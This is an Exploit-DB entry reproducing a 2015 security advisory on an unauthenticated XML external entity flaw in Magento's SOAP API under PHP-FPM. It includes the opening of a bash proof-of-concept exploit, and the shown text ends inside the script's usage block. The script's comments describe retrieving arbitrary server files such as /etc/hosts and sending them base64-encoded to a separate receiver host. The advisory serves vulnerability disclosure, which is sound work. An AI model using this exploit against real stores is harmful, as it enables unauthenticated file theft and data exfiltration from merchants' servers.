Exploit-DB #38573
Description: eBay Magento 1.9.2.1 - PHP FPM XML eXternal Entity Injection
Type: webapps
Platform: php
Date: 2015-10-30
Author: Dawid Golunski

Exploit:
=============================================
- Release date: 29.10.2015
- Discovered by: Dawid Golunski
- Severity: High/Critical
- eBay Magento ref.: APPSEC-1045
=============================================

 
I. VULNERABILITY
-------------------------

eBay Magento CE <= 1.9.2.1       XML eXternal Entity Injection (XXE) on PHP FPM
eBay Magento EE <= 1.14.2.1      

 
II. BACKGROUND
-------------------------

- eBay Magento eCommerce

http://magento.com/

"More than 240,000 merchants worldwide put their trust in our eCommerce 
software. Magento's eCommerce platform gives you the tools you need to attract 
more prospects, sell more products, and make more money. It's what we do.

We're owned by eBay, so you know we're eCommerce experts"


- PHP FPM

http://php.net/manual/en/install.fpm.php

"FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with
 some additional features (mostly) useful for heavy-loaded sites."

Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI 
process manager into its codebase. 

 
III. INTRODUCTION
-------------------------

eBay Magento eCommerce application uses Zend Framework which has a 
vulnerability that allows for XML eXternal Entity injection in applications
served with PHP FPM.

XXE (XML eXternal Entity) attack is an attack on an application that parses XML 
input from untrusted sources using incorrectly configured XML parser. 
The application may be forced to open arbitrary files and/or network resources.
Exploiting XXE issues on PHP applications may also lead to denial of service or
in some cases (e.g. when an 'expect' PHP module is installed) lead to command 
execution.


IV. DESCRIPTION
-------------------------
 
The aforementioned XXE vulnerability in Zend Framework which affects eBay 
Magento, was assigned a CVE-ID of CVE-2015-5161 and can be found in a 
separate advisory at:

http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt

In short, the Zend Framework XXE vulnerability stems from an insufficient 
sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP 
applications. 
By using certain multibyte encodings within XML, it is possible to bypass 
the sanitisation and perform certain XXE attacks.

Since eBay Magento is based on Zend Framework and uses several of its XML
classes, it also inherits this XXE vulnerability.

The vulnerability in Zend affects all its XML components, however there 
are two vulnerable Zend Framework vulnerable components:

 - Zend_XmlRpc_Server 
 - Zend_SOAP_Server 

that are of special interest to attackers as they could be exploited remotely 
without any authentication. 

Magento implements a store API providing XML/SOAP web services. 
Although the Zend_XmlRpc is present within Magento code base, the testing 
revealed that an older Zend class was used for its implementation, which is
not vulnerable.

However, further testing revealed that Magento SOAP API was implemented using
the Zend_SOAP_Server class from Zend Framework, which is vulnerable to the 
XXE injection vulnerability discovered earlier.

 
V. PROOF OF CONCEPT
-------------------------
 
Normally, when an XML containing entities is supplied to magento SOAP API, the
following message gets produced:

<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>Sender</faultcode>
<faultstring>Detected use of ENTITY in XML, disabled to prevent XXE/XEE 
attacks</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope> 

Below is a POC exploit that automates the steps necessary to bypass this
protection on Magento served with PHP-FPM, and remotely exploit the XXE issue 
in Magento's SOAP API without authentication.
Authentication is not required for the exploitation, as Magento first needs to
load the malicious XML data in order to read credentials within the SOAP 
login method. Loading malicious XML may be enough to trigger attacker's payload
within the entities (in case of libxml2 library auto-expanding entities).


---[ magento-soap-exploit.sh ]---

#!/bin/bash
#
# POC Exploit (v1.1)
#
# eBay Magento CE  <= 1.9.2.1  XML eXternal Entity Injection (XXE) on PHP-FPM
# eBay Magento EE  <= 1.14.2.1
#
# CVE-2015-5161
#
# Credits:
#
# Dawid Golunski
# dawid (at) legalhackers.com
# http://legalhackers.com
#
# Advisories:
#
# http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt
# http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt
#
# Usage:
#
# [Vulnerability test]
#
# This is to test the vulnerability with a simple XXE payload which retrieves the
# /dev/random file and causes a time out. No receiver server is required in this
# test as no data is returned.
#
# Run the script with just the URL to Magento SOAP API, with no other parameters. 
# E.g:
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index
#
#
# [File retrieval from the remote server]
# 
# ./magento-soap-exploit.sh MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT
#
# E.g:
# ./magento-soap-exploit.sh http://apache-phpfpm/magento/index.php/api/soap/index /etc/hosts 192.168.10.5 80
#
# In this example, file extracted via the XXE attack will be sent as base64 encoded parameter to:
# http://192.168.10.5:80/fetch.php?D=[base64_string]
# You should have the receiver server/script listening on the specified port before running this exploit.
#

TIMEOUT=6
PAYLOAD_TMP_FILE="/tmp/payload-utf16.xml"

if [ $# -ne 1 ] && [ $# -ne 4 ] ; then 
	echo -e "\nUsage: \n"
	echo -e "[Vulnerability test]\n"
	echo -e "$0 MAGENTO_SOAP_API_URL"
	echo -e "E.g:"
	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index\n";
	echo -e "[File retrieval]\n"
	echo -e "$0 MAGENTO_SOAP_API_URL FILE_PATH RECEIVER_HOST RECEIVER_PORT"
	echo -e "E.g:"
	echo -e "$0 http://fpmserver/magento/index.php/api/soap/index /etc/hosts 192.168.5.6 80\n